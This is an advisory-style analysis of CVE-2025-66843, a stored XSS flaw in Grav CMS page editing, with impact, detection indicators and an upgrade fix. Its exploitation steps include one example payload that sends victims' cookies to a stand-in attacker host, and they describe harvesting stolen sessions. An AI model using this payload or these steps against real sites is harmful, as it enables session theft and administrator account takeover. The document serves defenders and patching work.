CVE-2025-66843: 
PHP vulnerability analysis and mitigation

CVE-2025-66843 is a Stored Cross-Site Scripting (Stored XSS) vulnerability in the page editing functionality of Grav CMS. An authenticated low-privileged user with content editing permissions can inject malicious JavaScript payloads into editable fields, which are then stored on the server and executed in the browsers of any user who views or edits the affected page. All versions of Grav before v1.7.49.5 are affected. The vulnerability was published on December 15, 2025, and carries a CVSS v3.1 base score of 5.4 (Medium) (Red Hat CVE, GitLab Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause is insufficient sanitization and output encoding of user-supplied content in Grav's page editing interface, allowing an authenticated attacker with low privileges to embed arbitrary JavaScript into page content fields. The malicious payload is persisted server-side and executes in the context of any victim's browser session upon viewing or editing the compromised page. A proof-of-concept is publicly available on GitHub (GitHub PoC).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of other authenticated users, including administrators. This can result in session cookie theft, credential capture, unauthorized actions performed on behalf of victims, and redirection to malicious sites. The vulnerability has a changed scope (S:C), meaning the impact extends beyond the attacker's own session to affect other users' confidentiality and integrity, though availability is not directly impacted (Red Hat CVE).

A proof-of-concept exploit is publicly available on GitHub, published on December 17, 2025 (GitHub PoC). Exploitation requires authentication as a low-privileged user with page editing permissions, as well as user interaction from a victim (viewing or editing the affected page). There is no evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.018%, reflecting low current exploitation probability.

1. Reconnaissance: Identify a Grav CMS instance running a version prior to 1.7.49.5 that allows low-privileged user accounts to edit page content.
2. Authenticate: Log in to the Grav admin panel or front-end editor with a low-privileged account that has page editing permissions.
3. Inject payload: Navigate to a page's edit view and insert a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into an editable content field.
4. Save the page: Submit the edited page, causing the payload to be stored persistently on the server.
5. Trigger execution: Wait for a victim user (e.g., an administrator) to view or edit the compromised page; the stored script executes in their browser context.
6. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server to perform session hijacking or further account compromise (GitHub PoC).

• Logs: Grav CMS access logs showing POST requests to page editing endpoints (e.g., /admin/pages/edit/) from low-privileged user accounts containing encoded or raw <script> tags or JavaScript event handlers in request bodies.
• File System: Grav page content files (typically Markdown files under /user/pages/) containing unexpected <script> tags, javascript: URIs, or HTML event attributes (e.g., onerror, onload) injected into page content.
• Network: Outbound HTTP/S requests from victim browsers to unknown external domains shortly after accessing specific Grav pages, potentially carrying cookie or session data as query parameters.
• Application: Unexpected admin-level actions (password changes, user creation) performed under legitimate admin accounts that may indicate session hijacking following XSS exploitation.

The primary remediation is to upgrade Grav CMS to version 1.7.49.5 or later, which addresses this vulnerability (GitLab Advisory). As interim mitigations, administrators should restrict page editing permissions to trusted users only, implement a strict Content Security Policy (CSP) to limit script execution, and enforce output encoding for all user-supplied content. Regularly auditing user roles and permissions is also recommended to minimize the attack surface.

The vulnerability received standard coverage from vulnerability tracking services including Red Hat, INCIBE-CERT, and GitLab's advisory database shortly after disclosure (Red Hat CVE, GitLab Advisory). A brief mention appeared on Bluesky via automated CVE tracking accounts. No significant researcher commentary or vendor statements beyond the patch release have been identified.